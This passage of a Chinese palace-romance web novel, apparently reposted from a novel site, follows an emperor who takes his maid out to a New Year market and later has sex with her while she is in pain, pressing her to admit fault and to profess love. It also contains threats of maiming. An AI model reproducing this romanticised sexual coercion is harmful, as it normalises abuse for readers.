这个时节荔枝极为罕见,妙珠也不知道这些神通广大的宫人是从哪里寻得的这样尊贵物什,从岭南又或者是北疆那边进贡来的?且不说这个时候荔枝还长不长得出来,就算是长出来,这冰天雪地的从那些地方送来,应当也要废很大的功夫。能这个时候在乾清宫看到荔枝,想想都觉不可思议。 妙珠见陈怀衡将这东西推来,以为是要她剥给他吃。 她拿了个荔枝动手扒开,递给了陈怀衡。 荔枝被葱白手指捏着,显得果体更叫晶莹剔透。 陈怀衡看着递到跟前的东西,愣了一瞬。 原是看她闷声闷气,一个人缩在那头也不知在想些什么,推了荔枝去她跟前叫她自己吃,谁晓得扒了以后倒是晓得递到他的跟前。 真是傻子。 陈怀衡轻笑了一声,而后用手指接过了她手上的荔枝,递到了她的嘴边。 妙珠不明所以地看向他。 陈怀衡命令她道:“张嘴。” 看着已经递到嘴边的东西,妙珠也只好乖乖听话,张开了嘴。 陈怀衡的手指捏着浑圆的荔枝送进了妙珠的口中,他好心地把荔枝送去了该去的位置待着,贝齿轻蹭过他的指尖,带起一阵酥酥麻麻的感觉。 妙珠见陈怀衡迟迟不肯把手指抽走,也不知他是又起了什么作弄人的心思。 终于,在妙珠那略带哀怨的视线下,陈怀衡抽出了手指,还牵出一层银丝,他看着沾了妙珠口涎的长指,又看了看妙珠那水润的红唇她吃着大颗荔枝,嘴巴兜不住那丰盈的汁水,顺着嘴角流出些许。 陈怀衡的喉结上下滚动了一下,脑子还没反应过来之时,嘴唇就已经亲了上去。 妙珠的嘴巴那么小,哪里吃得下那么大一颗荔枝呢?他来帮帮她。 他不顾妙珠的推搡,按住她的脑袋强势地攫取汁水,他就像是个贪吃的,从未曾吃过甜美荔枝的孩童,不管不顾地想要吸走所有的甜。 怎么从前就没发现这荔枝甜成这样呢? 一直到妙珠的口中空空如也,陈怀衡才终于肯放过她,妙珠像是又被他气到了,喘着气控诉他:“你不是让我吃吗?” 他若是想吃,那里不是还有许多吗?再说了,不是他自己把荔枝塞到她的嘴巴里头的吗,最后怎么跟条狗一样扑上来又啃又咬的。 她一气起来,陛下不喊,奴婢也不喊。 怪了,不知道是从什么时候开始,生气羞恼的妙珠,竟也让他这般欢喜满意。 陈怀衡没觉心虚,笑了一声,道:“就吃你一颗荔枝,有必要这么小气吗?” 这哪里是什么小气不小气的事?! 妙珠嫌他糊了自己一嘴的口水,抬起袖子就擦嘴。 陈怀衡见她嫌弃自己,狭长的丹凤眼微眯,抓了她的手,道:“嫌弃我?” 嫌弃死了。 妙珠在心里头回他。 可顶着他的视线,最后怕这话一说,他又上来啃她,最后还是没有再说。 出了这事之后,荔枝妙珠是不敢再吃了,陈怀衡怎么哄她再吃一个,她都不肯再吃了。 好在没过多久,晚膳送过来了,陈怀衡也没能继续在这件事上纠缠下去了。 待两人用过晚膳之后,陈怀衡又让人送来了几件衣裳。 夜色浓厚,灯火葳蕤,妙珠站在陈怀衡的身边,看着宫人们端来的托盘。 皆是女子服饰,瞧着花红柳绿的,甚是炸眼。 妙珠问陈怀衡:“这是给我的?” 她想,陈怀衡拿到她面前,那应当就是给她的了。 可是给她这些做什么呢?冬季的衣裳他已经给她做了好些套。 陈怀衡道:“上回不是说过带你出宫去吗,后日动身,出了宫后,穿得热闹喜庆一些。” 在宫里头的衣服大多单调,可在宫外面又没那么多讲究了。 这回是他第一次带妙珠出宫,她这小傻子怕还没出过宫,今年便让她玩尽兴些。 她从前不是说着想要出去瞧瞧吗,这回叫她玩高兴了,将来也会更记着他的好。 恩威并施,陈怀衡向来用得好。 若是从前的妙珠,叫陈怀衡弄这么一出又一出,怕是要对他更死心塌地,可是,现在的妙珠,满脑子都是陈怀霖的那些话,他说,妙珠,不要忘记你自己是人。 她看着那些漂亮的衣裳,发觉自己在陈怀衡的面前好像一直好像算不上人,她是贱婢,是他的奴仆,是阿猫阿狗,他高兴了待她好一些,不高兴就欺辱她,他不会在意她心里面在想些什么,只会想着让她听话听话再听话。 她在他面前,不需要尊严。 可是妙珠不想为他舍弃那么多了。 也不想再因为他的那一点点好,再把自己的身和心都给他了。 陈怀衡见妙珠走神,捏了她一把,道:“怎么,要出宫了,人都高兴傻了?” 妙珠回了神,笑道:“嗯,太高兴了。” 陈怀衡看出妙珠的心不在焉,不过,也没再说些什么了。 很快两日过去,陈怀衡果真说到做到,带着妙珠出了宫去。 两人是在近傍晚的时候出的门,临近过年的这段时日,就连宵禁都去了,长夜尽明,金吾不禁。 从傍晚时候出的宫,到了外头的时候天早就黑得透了,街上也早早点起了灯火,天一暗淡下来,各色的灯光就已经将长街照得通明,近些时日热闹非常,一到晚间时候街上就已经熙熙攘攘。人群热闹,欢笑声不绝于耳,就这么一角,似乎能窥见整个繁华的京城。 陈怀衡出宫一事没人知道,就连乾清宫的人都不知道,他们只知道今夜的帝王身体不适,早早就在床上歇下,其实,在锦衣卫的护送下,陈怀衡已经带着妙珠出了宫。 他们的身后跟着几个护卫,暗地里面还隐藏着不少的锦衣卫,牢牢护着陈怀衡的安全。 今日妙珠被陈怀衡打扮得花花绿绿的,身上穿着桃粉夹袄,外头披着一件水红大氅,脖子上还挂着一条白领围脖,脑袋上插着花里胡哨的珠宝,旁的不说,叫这些粉嫩的衣裳衬得,妙珠整个人看着也确实越发水嫩可人。 妙珠不想打扮成如此花枝招展,劝了陈怀衡几百遍,可他哪里管她,一直说着过年就是要穿得喜庆,妙珠耍脾气不肯穿,陈怀衡就抓着她一件一件给她套,就连头上的簪子也是他簪的,他手艺不精,又是第一回做这样的事,这些簪子叫他插得歪歪斜斜,妙珠的影子照在地上,那脑袋上的簪子乱七八糟的。 说什 么过年就是要穿得喜庆,可陈怀衡自己出了门,又是一身简单的玄色锦袍,外面简单裹着一件玄黑大氅。 人靠衣妆马靠鞍,但对他这种骨相的人来说,说难听些,套条麻袋都好看,今日陈怀衡未龙袍,一身简单玄装,也衬出了别一般风味。 两人如常装扮,走在街上也只像是寻常人家出来的公子姑娘,但这等相貌又实在难叫人不去多看。 妙珠还没见过这等场景,看到那么多人打量的眼神,叫他们瞧得脸都红了些,甚是不自在。 陈怀衡看出来了,他问她:“不是想着出来看看?瞧你这没世面的样,怎么出来了又不高兴呢。” 陈怀衡也不常出宫,可对宫外的场景却见怪不怪。 他早就说妙珠是个胆子小的,不是个能出宫的人,这不过叫人瞧上个两眼便这幅模样。 她就该好好的待在乾清宫里面才是,那里才是她的归宿。 妙珠缩着脑袋反驳他:“怎么就没见过世面了呢,只是只是没见过这么多人,有些不大习惯而已。” 听着妙珠的话,陈怀衡呵笑了一声,心想她还好面子起来了,说她还不高兴了。 陈怀衡道:“管他们那些人做什么?他们瞧你,你若害臊,瞪回去就是,你要是不敢瞪,又或者不想让他们再瞧你,我去帮你把他们的眼睛给挖了,那不就成了?” 妙珠听他又犯起了老毛病,动不动就说些挖眼睛的话,她怕旁人听到,一把捂住了陈怀衡的嘴,她道:“不要在外面说这些呀。” 第40章 第四十章呵,软骨头 怎么老说这些话呢?以为每个人都是她吗?叫旁人听见了,不得吓个半死。 陈懷衡被她捂了嘴竟也没生气,那双纤长的眼眸竟还流露了星星点点的笑意,妙珠看着他笑,身上都起了一层鸡皮疙瘩,而后,陈懷衡这不要脸的,竟伸舌头舔她。 妙珠手心一阵发痒,赶忙收回了手。 陈懷衡似笑非笑看她,妙珠卡着他看不见的地方,悄悄地往衣服上蹭了蹭手,便不再理他,转头看起宮外景色。 皇宮外面确实是热闹許多,不比紫禁城冷清,若是说起紫禁城的雪,那是实打实的冷,那种阴冷能叫人的骨头都被冻碎,可是在这外面,竟是连雪好像都没那么寒冷。 有了方才那一出,妙珠的心思也没再放在旁人身上,终于看起了夜晚京城的美景。 火树银花,姹紫嫣紅,各式各样的小摊,快过年时,每个人的脸上都溢着笑,陈懷衡这皇帝做的确实不错,没有外敌,新政又即便推行下去,一年好过一年,百姓们的脸上也没那么多的愁眉苦脸。妙珠好奇地看着这热闹的京城,这是她长这么大,头一次看到这样的热闹。 小的时候,中秋也好,过年也好,从来和她们都没有关系,而自八歲入了宮后,紫禁城的紅墙如同一道天堑,将她永远的和外面的世界切断了联系。 妙珠的视线从叫唤着的摊贩身上移开,看向了不远处的杂耍团,那不远处的地方又有一条河,不少的人挤在那处放花燈,眼前又走过三三两两的男女,挡住了其余的景,每个人的脸上都盈着笑,触及到妙珠的视线时,对她也友善地笑了笑,而后,又匆匆走过,妙珠的眼前又化为一片虚无。 她旁若无人地看着周遭景象,不知是什么缘故,心忽然跳动得很快,一蹦,一蹦,好像就要从胸口里头跳出去了。 妙珠感覺自己好像要喘不上气来了,心底莫名生出一种撒腿就跑的冲动,妙珠的身体已经不能叫自己控制,忍不住往前跑。 陈怀衡一直注意着妙珠,却也不料她这突如其来的动作,反应过来后,他暗骂了一声,而后追了上去。 没两步就抓了突然发作的妙珠,陈怀衡双手紧紧桎梏着她的手臂,抓着她问:“你跑什么?” 他好心带她出宮,她倒是好,看着看着突然拔腿就跑。 这没心肝的。 就该一直关在皇宫里头才好。 妙珠也不知自己方才是怎么了,待她回过神时,就已经叫陈怀衡抓住了。 月光落在他脸上,在他的额上、眉眼、鼻梁之间冷漠地跳动着,陈怀衡的神色被冷漠的月光照得更加凛然邪狷,若是他下一刻要开口说话,那妙珠知他恐怕又要说些责難的话。 她看着陈怀衡的神情,知道自己当是又惹恼了他。 他总是会生气。 妙珠看着陈怀衡想。 他有发不完的脾气,在他身边,妙珠总是不知道哪里做错了便惹得他生怒。他不像是陈怀霖 陈怀霖不管做什么都是那样如沐春风,人在他的面前从来都不会覺得難堪。 妙珠很難想象,这世人竟有他那样的人。 想起陈怀霖,面前的陈怀衡便瞧着越发讨厌,可是,她还是要耐着性子去哄他。 她还不想回宫,她喜欢外面 怕他一气之下又要抓她回宫去,她找了个借口试图解释,她道:“我只是看那河边聚了許多人,有些好奇,想要瞧瞧罢了。” 想要看看?那跑什么呢。難道她要去看,他还抓着不叫她走了吗。 陈怀衡不信她说的话,他道:“你撒谎,你就是想要跑。” 妙珠无言片刻,而后道:“可是我又能跑哪里去呢?” 她就算是真的要跑,那也不该是这么个跑法。 她又何必在他的眼皮子底下做这样的蠢事出来。 听到妙珠的话,陈怀衡的眼皮颤了一下,不再去想那些莫名的情绪,而后揪了一把妙珠腮上的软肉,道:“你说得对。” 她跑不掉的。 再跑,跑得出乾清宫?跑得出皇宫?跑得出京城? 妙珠,你就是想跑,你也跑不出去的。 你就是一只小麻雀,就连乾清宫都飞不出去的小麻雀。 想到这里,陈怀衡的心里竟然涌起一股病态的满足。 他抓着小麻雀的手去了长河边。 河岸边两两三三站着不少的人,許是陈怀衡的气度太过迫人,他一出现,周围的人都不自覺散开绕道,两人所过之处,就这样出奇地畅通。 行至河边,见得月光落在水面泛着粼粼波光,水面波光潋滟,上头飘荡着一盏盏花燈,滑过水面,掀起了一条条规整的涟漪。 “你是几歲入的宫?”陈怀衡又问,“放花燈见过吗?” 他都不知道她是什么时候进的宫,不过听她说自己家里人都死了,那应当是年岁宵小时就到了宫里头。 妙珠道:“八岁。” 果然如他所想,点大的时候就来了。 在陈怀衡的眼中,妙珠是个什么都不知道的小傻子,小傻子见过花燈吗? 见过的。 妙珠不但见过,还放过呢。 放花灯祈福的习俗不只是京城有,在妙珠的家乡那边也有,每到一些重要的节日,镇上的那条河里面就时常被花灯占满。 那个时候小妹还在世,母亲每回和男人做完了事,就会收下一些银錢,不过,这银錢自是去不到她的手上,都被外祖拿了干净。 可有一回,母亲不知道是从哪里存下来的钱,悄悄地塞给妙珠,她让妙珠带着妹妹去镇子上看看,过年了,镇子上头可热闹了。 妙珠牵着小妹的手出了门。 那年,她七岁,小妹六岁。 她们去了镇子上面,小妹看到那些人凑在河边放花灯,好奇地想要过去看,她们没见过这玩样,没看过会在河里面飘着的灯。 事实就是这样,两个从小到大连活着都辛苦的孩子,就是会什么都不知道。 从来没有人会告诉她们那些东西,她们除了活着,也不知道别的东西。 妙珠随便抓了个好心的路人来问,才知道那原来是祈福用的花灯。 祈福 祈福用的灯。 妙珠最后用尽了母亲给她的钱,买了盏灯,又去求着个好心人给她写了心愿在纸条上,她让小妹和她一起去放花灯,可小妹便不高兴了,买花灯的钱,都可以去买甜糕回来吃了,她不明白,花灯又不能吃,妙珠为什么要买花灯? 回去的路上,还和妙珠怄了气,一路不吭声。 妙 珠看小妹生气,勾着她的肩说:“你个大馋猫,生什么气嘛,不就是甜糕,有的是机会吃的嘛!你没听那些人怎么说的吗?在花灯上祈福,許下愿望,往后不是有一辈子的甜糕吃吗。” 小妹问她:“可是你也没有许下让咱们有一辈子甜糕吃的愿望啊!” 她方才也在旁边听着呢,妙珠许的愿是,让日子好过一点 妙珠捏着她的脸说:“傻小妹,日子好过起来,不就是有吃不完的甜糕吗。” 哎,妙珠一直到现在都时常会想,小妹是不是那天没吃上甜糕,所以后来才会去偷月饼回来呢。 妙珠不敢再想下去了,再想下去,怕又要伤神。 恰好这时陈怀衡问她:“要不要去放花灯?” 他低磁的嗓音彻底将妙珠从回忆中拉回了神来。 妙珠听他问她去不去放花灯,只是摇头。 小的时候妙珠一厢情愿以为,许在花灯上的愿望会成真,可是事实上,根本就不是那么一回事。 妙珠从前的时候还会怨恨老天,是不是看到了她的愿望,然后故意来报复她,所以才叫她过得这般生不如死。 现在不会这样想了,因为老天爷又没那么无聊,专挑你一个人欺负,可是花灯她也是再不愿意放了。 她才不会再把自己的愿望写在纸上,告诉别人了。 陈怀衡却非是想扯着她去,妙珠死活不乐意放,她道:“没什么好放的,我想吃甜糕,不想放花灯。” 陈怀衡听她原是想吃东西了,笑骂她一声:“小土包子,就知道吃。” 他不知道她是想吃什么甜糕,街上这么多糕点,茯苓糕、桂花糕、豌豆黄让人去都买了一些回来,才发现妙珠是想吃枣泥做的米糕。 陈怀衡不喜欢吃这些甜腻腻的东西,就在旁边瞧着妙珠吃,妙珠一边吃着米糕,那双眼睛提溜转,打量着外头,眼睛被雾气蒸得迷蒙,可还是挡不住其中溢出的新奇。 她眼中流露出的对宫外的渴望,藏都藏不住了。 陈怀衡忽地不想继续再带妙珠在宫外待着了。 他买了街上时兴的花灯,而后就带着妙珠回了宫。 妙珠的眼中流出不舍,可最后还是听话跟着他回去了。 回去的马车上,她果然闷闷不乐,手上拿着一盏兔子灯,心不在焉的把玩着。 陈怀衡问她:“不高兴了?” 妙珠没吭声,只是摇头,连个眼风都没丢给陈怀衡。 还说是没有,陈怀衡夺过了给她买的兔子灯,将她的注意力夺到了他的身上。 妙珠终于蹙眉看他:“又是怎么了?” 陈怀衡竟叫她这话说得语塞了片刻。 又怎么了? 这话听着怎么这么不耐烦。 陈怀衡把她拽到了身边,捏着她的下颌,逼迫她看着自己,马车里头点着一盏烛灯,两人贴得近,瞳孔倒映着对方。 陈怀衡问她:“你烦我?” 她这胆子确实是大了不少啊,现下都开始烦起他来了。 他輕嗤了一声,道:“这么喜欢外边,皇宫也不想回去了?带你出来的是我,出来的时候不见你给我笑脸,回去又给耷拉着脸?怎么,是我惯得你脾性越大了?” 妙珠被他说得心烦,下颌被他捏得疼,眼睛不自觉就泛了红,她强撑着没落泪,只是眼尾一片薄红,看着甚是可怜。 她哑着嗓子,道:“没有。” 陈怀衡没有理会她的虚假敷衍,瞥她一眼,他道:“知你是想着宫外的好,你好好的听话,下回继续带你出去不就是了,摆什么脸色?” 陈怀衡喜欢看她生气,可不喜欢她给他摆脸色,不喜欢她动不动就缩成一团,一句话都不吭。 一个不顺她的心,她就开始摆脸色,又哪里还有从前那听话机灵样。 他又苛待她了? 他带她出宫,还成他的不是了? 妙珠懒得理他,听他说话都觉心累,闷闷地“嗯”了一声,而后合了眼,连看都懒怠看他。 陈怀衡见她仍旧是这幅半死不活的样,只从喉中冷冷地发出一声輕哼,而后也松开了她,不再理她。 一直等到两人回了皇宫,气氛也仍旧古怪,陈怀衡大步走在前头,妙珠跟在他的身后,两人走了一路,一句话也都没说。 这古怪的气氛,就连在乾清宫等着的卿云都瞧出来了,她看出了陈怀衡脸色不对,去看身后跟着的妙珠,也在她那脸上见得几分疲态。 卿云也不知那两人是又怎么了,可是不用想,看陈怀衡那表情,猜也猜得出来是又吵架了。 怎么出了趟宫还能闹不痛快呢? 陈怀衡已经往里殿去了,妙珠和卿云还在外边。 卿云看妙珠一眼,眼中带着询问,可妙珠也只是摊手。 陈怀衡爱生气又不是一天两天的事了。 妙珠不想再到他的跟前伺候,任由他自己一人往里殿去,她给卿云打了个手势,扭头便想离开,可才没走出几步,身后就传来了陈怀衡的声音。 “腿不想要了,大可再迈一步。” 方才进了里殿的陈怀衡不知道是什么时候又去而复返,那声音就跟泛着冰似的跑进妙珠的耳朵。 听到他的话后,妙珠终是没再走,转回了身,老老实实跟着陈怀衡进了里殿。 现在他说腿不要了,大抵不会真拿剑再只是吓她,他大概会真将她弄得下不了床。 卿云见此,也只留下一个爱莫能助的表情,便离开了此处。 妙珠和陈怀衡进了里殿,她才走到陈怀衡的跟前,就被他攥着手拽去了床上。 妙珠被他摔到了榻上,好在床榻软和,背才没叫被砸疼。 “走?”陈怀衡居高临下地蔑着床上的妙珠,问她道:“你想走去哪里?” 妙珠想要撑起身来,可下一瞬陈怀衡就已经覆了上来,他跪在她的身上,两膝撑在她的腰侧,丝毫没有给她挣扎的机会。 她伸出双手想要挣扎,却又被他一把锢住,她再动弹不得,只那双眼睛又恨又恼瞪着陈怀衡,这样的姿势太过屈辱,她没法子了,怎么都挣不开他,干脆又不说话,撇开了头,不再看他。 陈怀衡彻底叫她这样的举动气笑。 又开始装死。 他从喉中溢出了一声冷笑,听得人起一身鸡皮疙瘩。 “好啊,妙珠,你好得很。” 你有本事一直装着。 他先是把她头上的那些簪子拆了,随手往地上就丢。 一会要是脑袋不小心撞到墙上,簪子不小心扎到了脑子里,那也是不行的。 他可以肆意地占有她的身体,可她的身体若是有了不属于他的痕迹,那他也是要不高兴的。 簪子丢在乾清宫的地砖上,发出一声声的脆响,没多久,簪子就被丢了个干净,乌发散开,垂落在她的身下,她被他闹得脸色氲红,身上的粉衣将她衬得一股说不出的粉嫩娇媚。 妙珠的衣服是出门之前,陈怀衡一件件地为她穿上,到了现在,又是他亲手,一件件地为她…… 妙珠很快就感到身上凉飕飕的,她掀开眼皮,看着眉眼冷沉的陈怀衡说不怕,也不可能。 她知道他一会要做什么,也看得出他不会再怜惜她。 其实真去说句公道话,妙珠除了第一回和陈怀衡做这事的时候感觉得到痛苦,再此之外,也时常会溺于情爱的欢愉之中。 陈怀衡的性格恶劣,品行不堪,可在床上倒也没那么不讲道理,他不会只顾着自己快活,懂得礼尚往来。 一个人的舒服是没什么意义的,他就喜欢他们两人都沉浸之中。 他从前未曾接触过这样的事情,可或许是男人天生在这方面都带着无师自通的天赋,又或许是他实在聪慧,实在操行个两次之后,渐渐地摸清了其中的症结。 他懂妙珠啊,他太懂妙珠了。 花花绿绿的 衣裳零零散散落在床上地上,左一件丢右一件丢。 然而他自己却人模狗样衣衫整洁。 只玉带松松垮垮坠在一旁,反倒将冷漠无情的帝王衬托得活像个纨绔,在做些最寻常不过的风流韵事罢了。 这次不是从前了,陈怀衡下定决心要让她长些教训。 妙珠感觉到异样,眼瞳兀地瞪大,迷迷蒙蒙的,周遭一切好像也看不清了。 陈怀衡也十分不好受,按着妙珠的手背,他青筋紧绷,遒劲的大掌与之相比格外的刺眼…… 陈怀衡垂眸看着痛苦的妙珠,不再动作,反倒俯身把她从床上拉起,坐到了他的身上。 更难受了,妙珠叫这么一弄疼得更厉害了些。 陈怀衡自己也难受得不行,却还在一直掐着她的两颊问:“错没错?我问你,错没错?” 妙珠被他的身上的衣服磨得难受,再好的衣料,在这样的时候蹭在人的身上,也好不舒服,她疼得冷汗直出,他的话就这样断断续续传入了她的耳中。 错了? 她到底是又做错了什么。 陈怀衡总是喜欢逼着她认错,总是给她安那些莫名其妙的罪名。 在他眼中,她恐怕早已罄竹难书。 事情又还没闹到那一步,妙珠也不想要再叫自己这么吃痛。 她竭力睁开眼去看陈怀衡。 她不想疼,不想身子疼,不想心也疼。 妙珠看着陈怀衡的薄唇。 细细看来,他和陈怀霖五官大相径庭,可独独这张薄情的唇,有那么几分相像。 妙珠輕輕吻上了那张薄唇。 竟还带着那么几分不可察觉的小心翼翼,就像是在对待什么珍贵的物件一样。 她轻轻地蹭着那张薄唇,轻轻地道:“错了,我错了。” 她又认错了。 又是这样轻而易举的认错了。 她太没本事了,一点点的痛就要叫她溃不成军。 陈怀衡的唇被她蹭得发痒,身体被她蹭得发颤,灵台被她蹭得心旌摇曳。 妙珠的吻溢满了亲昵和珍重,就连陈怀衡都感觉到了。 他被她吻得心猿意马,嘴巴却还在讥讽她:“呵,软骨头” 一点痛都受不了的软骨头。 早这样还和他犟些什么呢? 陈怀衡才说完这话,妙珠就堵住了他的唇,她伸入了他的口舌,她第一次这样主动。 别说了。 我就是软骨头。 他的嘴巴从来不会说这样难听的话,所以你也别说了。 妙珠从来都不曾这般主动过,即便说之前他还不曾打过她三十大板,妙珠也曾全身心地依附在他的身上,可从来不如今日这样。 陈怀衡清楚地感受到,她这是动情了。 这么多次,她头一回这样沉浸其中。 陈怀衡叫她这举动弄得心脏都跟着跳动得厉害,他们呼吸交缠,妙珠闭着眼睛,沉溺其中,陈怀衡看着她的眼睫,看着她那颤抖的眼皮,他眸光的冷色不见,转眼已被情。欲替代。 他们一边拥吻,陈怀衡一边用手捻着,直到所有的一切不如方才那般紧绷,他才重新开始。 陈怀衡抱着她,一边咬着她的耳朵问:“还给不给我使脸色?” “我对你这么好,带你出宫玩,你回来就给我使脸色,你是不是没心肝?” “我又不是不带你出去了,总是动不动就闷着不说话是做什么?到头来,还成我欠你的了不是?” 他就像不会疲倦似地,满身精力磨得人一点办法都没有。 陈怀衡那又低又磁的嗓音缠绵悱恻地传入了妙珠的耳朵,呼出的热气弄得她又痒又热,她一边躲,一边乖乖道:“我坏,你好,行了吧,轻点轻点” 这个不知足的小宫女。 她说得对,他好,她坏。 她总是喜欢犯些叫人生气恼火的错,不过没有关系,犯错可以,他是个善良大度的人,可以容许她犯错,只要之后乖乖认错,他可以和她不计前嫌。 他攥着她的腰,却还是不肯卸力,他又不停地问她:“喜不喜欢我?是不是很喜欢?” 身上动情的情态不是假的,喜欢在爱欲中迸发,难以掩藏,所以,敏锐地被陈怀衡捕捉到了。 “是不是喜欢我?”他一遍又一遍地问着,不达目的不罢休,“快说,快点说喜欢我。”【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 第四十一章奴婢斗胆想要留在协王殿下…… 陳怀衡今日怎么非要讓人说这些牙酸的话,可妙珠受不住,最后还是如他所愿说了出来,她道:“喜欢我喜欢你。” 喜欢你,可不喜欢陳怀衡。 陳怀衡哪里知道妙珠心里头在想些什么東西,只在听到这话之后,最后再没忍住,狠狠地将人锢在怀中,一气地把東西都留在了里面。 妙珠被他烫到,短促地尖叫了一声,想着把人推远些。 陳怀衡不肯,仍舊牢牢地抱着她,没过一会,却又胀起来了。 卿云只怕那两人要吵架,到时候妙珠又得被陈怀衡欺负,在外殿听了一会里头的动静,没听到两人打起来闹起来,反倒是滚到床上去了 她听了几声就叫面红耳赤。 非礼勿听,非礼勿听啊。 今夜里面格外得久,他们是三更半回的,竟然闹到了四更末,算起来有一个多时辰了,果不其然,进去收拾的时候,实在不堪入目,陈怀衡已经和妙珠去了净室净身,外头的龙塌上,處處都是痕迹。 卿云猜测,大概也是因为陈怀衡才经人事,在这方面便放纵了一些。 只是,妙珠这身板真的能承受得住这些嗎 卿云不再深想下去,讓人重新换了衾被,待到陈怀衡抱着妙珠出来的时候床榻便已干净了。 妙珠已经困极,却也还是强撑着没睡,一直到陈怀衡给她喂完水后,从他身上下来滚去了床里边,眼睛才合上,陈怀衡就从外面抱了过来,手还不厌其烦地摸索着。 妙珠叫他摸得難受,一边说着“别再动了”,一边又手去抓住那只作乱的手。 陈怀衡被妙珠抓着果真是没再动,只是趴在她的耳边道:“妙珠,再过十日我就要过生辰了。” 妙珠也不知道是听没听到,随便“嗯”了他一声,倒头就想睡。 陈怀衡怕她没听到,又咬着她的耳朵重复:“你睡什么,到底听到了没有,再过十日就是我的生辰了” 这些话,白日里头他是不乐意说的,因为一同她说,她就会来和他装死,他吃一肚子气,发了脾气也像一拳头打在棉花上一样。 可现在不一样,他一拳头打棉花上,那就把脸也埋进去。 妙珠被他蹭得難受,道:“听到了!两只耳朵都听到了!讓我睡会先吧。” 听到这样说,陈怀衡才终于是肯放过她了,放她安心睡觉。 妙珠很快就睡了,陈怀衡气得往她肩上轻咬了一口。 现在胆子大了,总是喜欢来敷衍他了。 算了算了,他也不和她计较,三十板子,说白了也还是伤了她的心,她现在有什么不痛快,使出来也行,憋在心里,指不定怎么骂他。 接下这两日就快到除夕,近来守卫巡逻众多,妙珠也老实地待在屋子里面没有外出,趁着得闲的功夫便回去看看裴嬷嬷,上回陈怀衡给她赏了许多从蒙古进贡过来的珠宝,妙珠 给了裴嬷嬷,她却执意推脱,这回妙珠回去便干脆趁着她不注意的时候藏到了屋子里头。 她毕竟是做了那些事,迟早会有東窗事发的一天。 她若真因惹怒了陈怀衡而丢了命,那这些東西也够给嬷嬷养老了。 裴嬷嬷见妙珠每回回来,都穿得越发得好。 她知她现在日子越过越好,也跟着开心,看来是傻人有傻福,她这个小傻子也算是入了皇帝的眼。 便是这样,她也还是叮嘱她:“妙珠,不可以把一颗心都放都陛下身上,若是将来他厌弃了你,你也不要太伤心。” 妙珠这便不懂了,当初分明也是裴嬷嬷讓她牢牢地记住陛下是天,是她的唯一的永远的主子,她那个时候让她当世界上最忠臣的奴婢,可是如今,又为何让她不要把一颗心都放在陛下身上呢? 妙珠实在不明白,她也问出了自己的不明白。 裴嬷嬷道:“妙珠,奴婢是必须要把自己的身心交给主子,可是如果一个女人给出了自己的一颗心,那离死也快不远了啊。” 不,不是的。 奴婢是她,女人也是她。 奴婢给出自己的一颗心,也离死不远了。 不再说了,妙珠也不想在嬷嬷面前说什么死不死的话,只平白惹了她担心。 见过嬷嬷之后,妙珠便回了乾清宮,自从那场初雪落下之后,这雪便一连下了好些时日,皇宮之中,一直是银白色,红瓦墙的颜色也都因此而黯淡了下去。 很快便是除夕了,今夜宫里头还有一场除夕宮宴,办在太和殿那處,妙珠不用跟过去,因为宮女不能够往前朝去的,那日服侍的人只好由着小内监们顶上。 陈怀衡在外头参加宫宴,妙珠没有待在乾清宫中待着。 她虽不能够踏入前朝,可在皇极门之后的皇宫却可随意行走,今日守卫众多,可她即便是碰到了一些却也无妨,他们那些领队都已见过妙珠,知她是经常在皇帝身边跟着的宫女。 妙珠从前知道紫禁城很大,今日走起来才发现切实是大得吓人,她连前朝都未曾踏足,就在后头转悠却已走得筋疲力尽。 她试图在这地方找出一个狗洞,一个能跑去宫外的狗洞,不过,这终究也只是天方夜谭罢了。 她又试图在这时候能遇到陈怀霖,真算起来她其实也才几日不曾见过他罢了,可却莫名地想要和他见到面。 大概她和他的每一次见面都太过有缘分,以至于在这样的时候,她总是想着,陈怀霖会不会突然也从天而降。 他每次都像是神仙从天而降。 以往倒有可能,可是今夜实在是不能了,她知道,他还在金銮殿参加宫宴呢,而陈怀衡也在那里。 妙珠今夜从乾清宫出来本是想要寻狗洞的,如果寻到一个能够出宫的狗洞,她就悄悄爬出去,跑到一个陈怀衡寻不到的地方,然后,她就可以去找陈怀霖了,陈怀霖说过,如果她有朝一日想出宫,他等她的,甚至可以帮她的。 然而,最后找了半天,还是没有找到狗洞。 妙珠只得往乾清宫回,回去的路上,经过了冷宫。 冷宫地處偏僻,这里头关着一些前朝的时候犯过錯的宫妃,人数不大多,可在深夜时,这里时常会发出一些鬼哭狼嚎之声,不绝于耳,冷宫的朱漆宫门早已斑驳得不成样子,雪花快把门都掩了半扇,那些呜咽哭号之声,和冬日的冷风遥相呼应,阴气森森,恐怖渗人。 此地怨念甚重,妙珠路过,浑身上下都起一身鸡皮疙瘩,她想要快步离开这处,可腿脚又不听使唤驻足此地。 女人的哭号声是冷宫的常年的奏曲,这些单调又哀切的咿呀声,是冷宫独有的旋律。 这里头,有些不甘心的,便哭便号,有些死了心的,便躺在草席上等死。 冷宫中的这些人是这世上独有的,极具耐心之人。 她们十年如一日的,咒骂和控诉这个可恨的世界。 在哭号声中,妙珠似听到一个不男不女的声音,那是个有些年老的声音,她竟辨不出男女。 那哀老的声音透过那一道薄薄的墙,传到了妙珠的耳中。 那声音像是在说,不,更像是在哭着说:“幺儿,红花开了,紫禁城里头要开始死人喽。” 妙珠的身上起了一层鸡皮疙瘩,也不敢继续听这些个神神叨叨的话,转身匆匆离开这处。 等到回去乾清宫的时候,天已经很晚了,就连陈怀衡都已经参加完除夕宫宴回来了。陈怀衡应付完了一场宫宴,本来子时还有煙花要放,他要携群臣共在城墙上赏火树银花,最后是借口身体疲惫才好不容易脱身离开。 可待他回来了之后,却寻不到妙珠的身影,也不知她又是去了哪里,去问了卿云,也问不出个所以然来。 今日宴上,陈怀衡饮了不少酒,头也止不住有些泛疼,回来后见不到妙珠,头疼得更有些厉害。 他冷着声问卿云:“人去哪里了你不知道?她成日有什么事情不都和你说的嗎。” 找不到妙珠的感觉十分不好,让他心中莫名生出一股的烦躁,这股堵在胸口的浊气在酒酿的发酵催化下,更加厉害。 他要她出现在自己面前,立刻马上。 卿云看陈怀衡发作,忙道:“奴婢这就让人去寻了,没听人说她去了外头,应当只是在外面闲逛罢了。” 陈怀衡已经坐在了圈椅上,双手随意搭放在一旁,他眉头紧蹙道:“闲逛?” 这种天气出去闲逛?脑子烧着了不成。 寻不到妙珠的陈怀衡心情看着非常不好,卿云也不敢多说,只好站在一旁等着,期望侍卫们能早些寻回妙珠。 好在,妙珠恰在此时回来。 